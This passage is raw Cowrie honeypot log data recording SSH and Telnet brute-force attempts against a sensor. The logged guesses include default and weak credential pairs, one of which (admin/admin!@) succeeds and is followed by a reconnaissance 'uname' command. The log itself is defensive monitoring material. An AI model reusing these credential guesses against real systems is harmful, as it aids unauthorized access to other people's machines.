{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:36.850098Z","src_ip":"103.27.238.68","session":"678b61ec3db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:36.911823Z","src_ip":"192.109.200.237","session":"9e5e9c656916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60816,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0b250c23df6","protocol":"telnet","message":"New connection: 50.6.8.71:60816 (10.17.0.5:23) [session: f0b250c23df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:37.402082Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:37.996301Z","src_ip":"192.109.200.237","session":"9e5e9c656916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47128,"dst_ip":"159.203.135.109","dst_port":22,"session":"e980721e2a2e","protocol":"ssh","message":"New connection: 192.109.200.237:47128 (159.203.135.109:22) [session: e980721e2a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:39.886362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:39.891219Z","src_ip":"192.109.200.237","session":"e980721e2a2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:39.973596Z","src_ip":"192.109.200.237","session":"e980721e2a2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:40.228898Z","src_ip":"192.109.200.237","session":"e980721e2a2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:41.356701Z","src_ip":"192.109.200.237","session":"e980721e2a2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45336,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a77cc092ab8","protocol":"ssh","message":"New connection: 192.109.200.237:45336 (159.203.135.109:22) [session: 8a77cc092ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:43.336590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:43.340926Z","src_ip":"192.109.200.237","session":"8a77cc092ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:43.423414Z","src_ip":"192.109.200.237","session":"8a77cc092ab8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:43.673715Z","src_ip":"192.109.200.237","session":"8a77cc092ab8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:44.055937Z","src_ip":"192.109.200.237","session":"8a77cc092ab8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:44.059863Z","src_ip":"192.109.200.237","session":"8a77cc092ab8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:44.146891Z","src_ip":"192.109.200.237","session":"8a77cc092ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:44.151186Z","src_ip":"192.109.200.237","session":"8a77cc092ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":35378,"dst_ip":"10.17.0.5","dst_port":22,"session":"685e18c50073","protocol":"ssh","message":"New connection: 103.75.182.198:35378 (10.17.0.5:22) [session: 685e18c50073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:44.664363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:44.668964Z","src_ip":"103.75.182.198","session":"685e18c50073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:44.908774Z","src_ip":"103.75.182.198","session":"685e18c50073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.86397171020508,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:45.038521Z","src_ip":"50.6.8.71","session":"0eae0a1805b8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"mamamia","message":"login attempt [root/mamamia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:45.635248Z","src_ip":"103.75.182.198","session":"685e18c50073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:46.878639Z","src_ip":"103.75.182.198","session":"685e18c50073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45340,"dst_ip":"159.203.135.109","dst_port":22,"session":"bff6a024a56f","protocol":"ssh","message":"New connection: 192.109.200.237:45340 (159.203.135.109:22) [session: bff6a024a56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:46.912920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:46.917054Z","src_ip":"192.109.200.237","session":"bff6a024a56f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:46.999275Z","src_ip":"192.109.200.237","session":"bff6a024a56f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:47.245788Z","src_ip":"192.109.200.237","session":"bff6a024a56f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:48.331822Z","src_ip":"192.109.200.237","session":"bff6a024a56f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35370,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6048066be68","protocol":"telnet","message":"New connection: 50.6.8.71:35370 (10.17.0.5:23) [session: e6048066be68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:48.923173Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":59094,"dst_ip":"10.17.0.5","dst_port":23,"session":"5adf81cc1e9c","protocol":"telnet","message":"New connection: 23.94.28.189:59094 (10.17.0.5:23) [session: 5adf81cc1e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:49.629190Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50144,"dst_ip":"159.203.135.109","dst_port":22,"session":"c976425d01a3","protocol":"ssh","message":"New connection: 192.109.200.237:50144 (159.203.135.109:22) [session: c976425d01a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:50.430722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:50.435275Z","src_ip":"192.109.200.237","session":"c976425d01a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:50.517612Z","src_ip":"192.109.200.237","session":"c976425d01a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35386,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e6cf5b8b19e","protocol":"telnet","message":"New connection: 50.6.8.71:35386 (10.17.0.5:23) [session: 0e6cf5b8b19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:50.624813Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:50.766329Z","src_ip":"192.109.200.237","session":"c976425d01a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:51.915555Z","src_ip":"192.109.200.237","session":"c976425d01a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35388,"dst_ip":"10.17.0.5","dst_port":23,"session":"447d8f574b98","protocol":"telnet","message":"New connection: 50.6.8.71:35388 (10.17.0.5:23) [session: 447d8f574b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:53.518266Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50158,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4f4dcb7ad15","protocol":"ssh","message":"New connection: 192.109.200.237:50158 (159.203.135.109:22) [session: d4f4dcb7ad15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:54.073886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:54.078717Z","src_ip":"192.109.200.237","session":"d4f4dcb7ad15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:54.211117Z","src_ip":"192.109.200.237","session":"d4f4dcb7ad15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:54.648091Z","src_ip":"192.109.200.237","session":"d4f4dcb7ad15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35396,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a52f13d3a91","protocol":"telnet","message":"New connection: 50.6.8.71:35396 (10.17.0.5:23) [session: 6a52f13d3a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:54.673446Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35408,"dst_ip":"10.17.0.5","dst_port":23,"session":"79a9caa4c9b7","protocol":"telnet","message":"New connection: 50.6.8.71:35408 (10.17.0.5:23) [session: 79a9caa4c9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:55.563304Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:55.732965Z","src_ip":"192.109.200.237","session":"d4f4dcb7ad15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.53564953804016,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:56.198412Z","src_ip":"50.6.8.71","session":"6a48956fa790","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40810,"dst_ip":"10.17.0.5","dst_port":23,"session":"747f2a2b20fd","protocol":"telnet","message":"New connection: 50.6.8.71:40810 (10.17.0.5:23) [session: 747f2a2b20fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:57.157902Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50164,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca57ba64808a","protocol":"ssh","message":"New connection: 192.109.200.237:50164 (159.203.135.109:22) [session: ca57ba64808a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:57.901982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:28:57.906784Z","src_ip":"192.109.200.237","session":"ca57ba64808a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 